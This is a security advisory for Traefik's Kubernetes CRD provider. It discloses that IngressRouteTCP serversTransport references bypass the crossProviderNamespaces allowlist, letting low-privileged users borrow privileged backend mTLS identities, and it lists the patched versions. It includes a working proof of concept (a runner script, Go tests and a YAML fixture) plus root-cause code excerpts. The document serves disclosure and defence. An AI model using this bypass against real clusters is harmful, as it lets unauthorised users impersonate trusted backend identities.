GHSA-42cj-m3vj-89wv

Summary

There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.

Patches

• https://github.com/traefik/traefik/releases/tag/v3.6.23
• https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

Traefik's Kubernetes CRD provider enforces crossProviderNamespaces for several cross-provider references, but IngressRouteTCP service serversTransport references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces can still set serversTransport: foo@file on an IngressRouteTCP service. Traefik accepts the forbidden cross-provider reference and later uses the referenced TCPServersTransport, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings.

Description

crossProviderNamespaces is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP serversTransport references enforce that allowlist. TCP serversTransport references do not.

An attacker with low Kubernetes privileges in namespace default can create an IngressRouteTCP service with:

serversTransport: foo@file

Even when the provider is configured with:

crossProviderNamespaces:
  - operator-only

Traefik still emits a TCP dynamic service whose load balancer points to foo@file. At runtime, DialerManager.Build() uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings.

Impact

The PoC demonstrates two positive facts:

1. A namespace outside crossProviderNamespaces can cause Traefik to accept and store LoadBalancer.ServersTransport = "foo@file" from an IngressRouteTCP service.
2. A qualified foo@file TCPServersTransport with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend.

This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference.

Proof Of Concept

Files

• run.sh: portable runner.
• poc_crd_test.go: positive CRD provider proof.
• with_servers_transport_cross_provider_poc.yml: minimal IngressRouteTCP fixture.
• poc_tcp_mtls_test.go: positive runtime mTLS identity-use proof.

<details> <summary>run.sh</summary>

#!/usr/bin/env sh
set -eu

TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"

if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
	trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi

echo "[*] target_ref=$TARGET_REF"
echo "[*] workdir=$WORKDIR"

if [ -n "${TRAEFIK_SRC:-}" ]; then
	echo "[*] cloning from local source: $TRAEFIK_SRC"
	git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
	cd "$WORKDIR/traefik"
	git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
	echo "[*] cloning from remote: $REPO_URL"
	git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
	cd "$WORKDIR/traefik"
fi

mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp
cp "$SCRIPT_DIR/poc_crd_test.go" \
	 pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go
cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \
	 pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml
cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \
	 pkg/tcp/dialer_cross_provider_identity_poc_test.go

echo "[*] running CRD provider policy-bypass PoC"
go test ./pkg/provider/kubernetes/crd \
	-run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \
	-count=1 -v

echo "[*] running TCPServersTransport mTLS identity-use PoC"
go test ./pkg/tcp \
	-run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \
	-count=1 -v

echo "POC_RESULT=PASS"

</details> <details> <summary>poc_crd_test.go</summary>

package crd

import (
	"testing"

	"github.com/stretchr/testify/require"
	traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake"
	kubefake "k8s.io/client-go/kubernetes/fake"
)

func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {
	k8sObjects, crdObjects := readResources(t, []string{
		"tcp/services.yml",
		"tcp/with_servers_transport_cross_provider_poc.yml",
	})

	kubeClient := kubefake.NewClientset(k8sObjects...)
	crdClient := traefikcrdfake.NewClientset(crdObjects...)
	client := newClientImpl(kubeClient, crdClient)

	stopCh := make(chan struct{})
	defer close(stopCh)

	eventCh, err := client.WatchAll(nil, stopCh)
	require.NoError(t, err)
	<-eventCh

	provider := Provider{
		AllowCrossNamespace:     true,
		CrossProviderNamespaces: []string{"operator-only"},
	}

	conf := provider.loadConfigurationFromCRD(t.Context(), client)
	service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"]
	require.NotNil(t, service)
	require.NotNil(t, service.LoadBalancer)
	require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport)
	require.NotEmpty(t, service.LoadBalancer.Servers)
	require.True(t, service.LoadBalancer.Servers[0].TLS)

	t.Logf("POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v",
		provider.CrossProviderNamespaces,
		service.LoadBalancer.ServersTransport,
		service.LoadBalancer.Servers[0].TLS)
}

</details> <details> <summary>poc_tcp_mtls_test.go</summary>

package tcp

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/tls"
	"crypto/x509"
	"crypto/x509/pkix"
	"encoding/pem"
	"fmt"
	"io"
	"math/big"
	"net"
	"testing"
	"time"

	"github.com/stretchr/testify/require"
	"github.com/traefik/traefik/v3/pkg/config/dynamic"
	traefiktls "github.com/traefik/traefik/v3/pkg/tls"
	"github.com/traefik/traefik/v3/pkg/types"
)

func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {
	pki := newPoCPKI(t)

	dialerManager := NewDialerManager(nil)
	dialerManager.Update(map[string]*dynamic.TCPServersTransport{
		"foo@file": {
			TLS: &dynamic.TLSClientConfig{
				ServerName: "example.com",
				RootCAs:    []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},
				Certificates: traefiktls.Certificates{
					traefiktls.Certificate{
						CertFile: types.FileOrContent(pki.clientCertPEM),
						KeyFile:  types.FileOrContent(pki.clientKeyPEM),
					},
				},
			},
		},
	})

	backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)
	defer closeBackend()

	dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true)
	require.NoError(t, err)

	conn, err := dialer.Dial("tcp", backendAddr, nil)
	require.NoError(t, err)
	defer conn.Close()

	_, err = conn.Write([]byte("ping"))
	require.NoError(t, err)

	buf := make([]byte, 4)
	_, err = io.ReadFull(conn, buf)
	require.NoError(t, err)
	require.Equal(t, "PONG", string(buf))

	var cn string
	select {
	case cn = <-peerCN:
	case <-time.After(time.Second):
		t.Fatal("timed out waiting for backend peer certificate")
	}

	select {
	case err := <-done:
		require.NoError(t, err)
	case <-time.After(time.Second):
		t.Fatal("timed out waiting for backend completion")
	}

	t.Logf("POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q",
		"foo@file", cn, string(buf))
}

func newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, <-chan string, <-chan error, func()) {
	t.Helper()

	serverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM)
	require.NoError(t, err)

	clientPool := x509.NewCertPool()
	require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM))

	listener, err := net.Listen("tcp", "127.0.0.1:0")
	require.NoError(t, err)

	tlsListener := tls.NewListener(listener, &tls.Config{
		Certificates: []tls.Certificate{serverCert},
		ClientAuth:   tls.RequireAndVerifyClientCert,
		ClientCAs:    clientPool,
	})

	peerCN := make(chan string, 1)
	done := make(chan error, 1)

	go func() {
		conn, err := tlsListener.Accept()
		if err != nil {
			done <- err
			return
		}
		defer conn.Close()

		tlsConn, ok := conn.(*tls.Conn)
		if !ok {
			done <- fmt.Errorf("unexpected connection type %T", conn)
			return
		}

		if err := tlsConn.Handshake(); err != nil {
			done <- err
			return
		}

		state := tlsConn.ConnectionState()
		if len(state.PeerCertificates) == 0 {
			done <- fmt.Errorf("missing peer certificate")
			return
		}
		peerCN <- state.PeerCertificates[0].Subject.CommonName

		buf := make([]byte, 4)
		if _, err := io.ReadFull(tlsConn, buf); err != nil {
			done <- err
			return
		}
		if string(buf) != "ping" {
			done <- fmt.Errorf("unexpected backend payload %q", string(buf))
			return
		}

		_, err = tlsConn.Write([]byte("PONG"))
		done <- err
	}()

	return listener.Addr().String(), peerCN, done, func() {
		_ = tlsListener.Close()
	}
}

type poCPKI struct {
	caCertPEM     []byte
	serverCertPEM []byte
	serverKeyPEM  []byte
	clientCertPEM []byte
	clientKeyPEM  []byte
}

func newPoCPKI(t *testing.T) poCPKI {
	t.Helper()

	caKey, err := rsa.GenerateKey(rand.Reader, 2048)
	require.NoError(t, err)

	caTemplate := &x509.Certificate{
		SerialNumber:          big.NewInt(1),
		Subject:               pkix.Name{CommonName: "poc-ca"},
		NotBefore:             time.Now().Add(-time.Minute),
		NotAfter:              time.Now().Add(time.Hour),
		KeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageCRLSign,
		BasicConstraintsValid: true,
		IsCA:                  true,
	}

	caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey)
	require.NoError(t, err)

	serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth})
	clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth})

	return poCPKI{
		caCertPEM:     pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}),
		serverCertPEM: serverCertPEM,
		serverKeyPEM:  serverKeyPEM,
		clientCertPEM: clientCertPEM,
		clientKeyPEM:  clientKeyPEM,
	}
}

func newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) {
	t.Helper()

	key, err := rsa.GenerateKey(rand.Reader, 2048)
	require.NoError(t, err)

	serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
	require.NoError(t, err)

	template := &x509.Certificate{
		SerialNumber: serial,
		Subject:      pkix.Name{CommonName: cn},
		DNSNames:     []string{"example.com"},
		NotBefore:    time.Now().Add(-time.Minute),
		NotAfter:     time.Now().Add(time.Hour),
		KeyUsage:     x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
		ExtKeyUsage:  eku,
	}

	certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey)
	require.NoError(t, err)

	keyDER := x509.MarshalPKCS1PrivateKey(key)

	return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}),
		pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER})
}

</details> <details> <summary>with_servers_transport_cross_provider_poc.yml</summary>

apiVersion: traefik.io/v1alpha1
kind: IngressRouteTCP
metadata:
  name: test.route
  namespace: default

spec:
  entryPoints:
    - foo

  routes:
  - match: HostSNI(`foo.com`)
    priority: 12
    services:
    - name: whoamitcp
      port: 8000
      tls: true
      serversTransport: foo@file

</details>

Requirements

• git
• Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0.
• Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.

No local Traefik checkout is required by default.

Run

./run.sh

Optional target override:

TARGET_REF=v3.6.21 ./run.sh

Optional local-source override for faster local validation:

TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh

Expected Result

The run should end with:

POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport="foo@file" backend_tls=true
POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport="foo@file" peer_cn="example.com" response="PONG"
POC_RESULT=PASS

Root Cause

Line numbers below are from:

repository: https://github.com/traefik/traefik
tag:        v3.7.5
commit:     26c96a3935cafb473f4a5bae1886560d9aa4e4f0

1. The provider option is meant to cover IngressRouteTCP

pkg/provider/kubernetes/crd/kubernetes.go:60

CrossProviderNamespaces []string `description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...`

This establishes the security invariant: IngressRouteTCP cross-provider references should be gated by crossProviderNamespaces.

2. TCP service creation forwards the attacker-controlled transport name

pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185

if service.ServersTransport != "" {
	tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport)
}

The attacker-controlled serversTransport field is passed into the key builder.

3. TCP key builder returns cross-provider names without the allowlist check

pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322

if strings.Contains(serversTransportName, providerNamespaceSeparator) {
	return serversTransportName, nil
}

This accepts foo@file directly. There is no call to isCrossProviderNamespaceAllowed(...) on this TCP path.

4. HTTP sibling contains the missing authorization gate

pkg/provider/kubernetes/crd/kubernetes_http.go:507-508

if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) {
	return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...)
}

The HTTP path proves the intended policy: cross-provider serversTransport references should be rejected when the route namespace is not in the allowlist.

5. Runtime TCP dialer consumes the exact referenced transport

pkg/tcp/dialer.go:135-141

if config.ServersTransport != "" {
	name = config.ServersTransport
}
st, ok := d.serversTransports[name]

pkg/tcp/dialer.go:183-188

tlsConfig = &tls.Config{
	ServerName:   st.TLS.ServerName,
	Certificates: st.TLS.Certificates.GetCertificates(),
}

The accepted foo@file reference is not a harmless string. It selects the cross-provider transport and applies its client TLS identity during backend connections.

</details>

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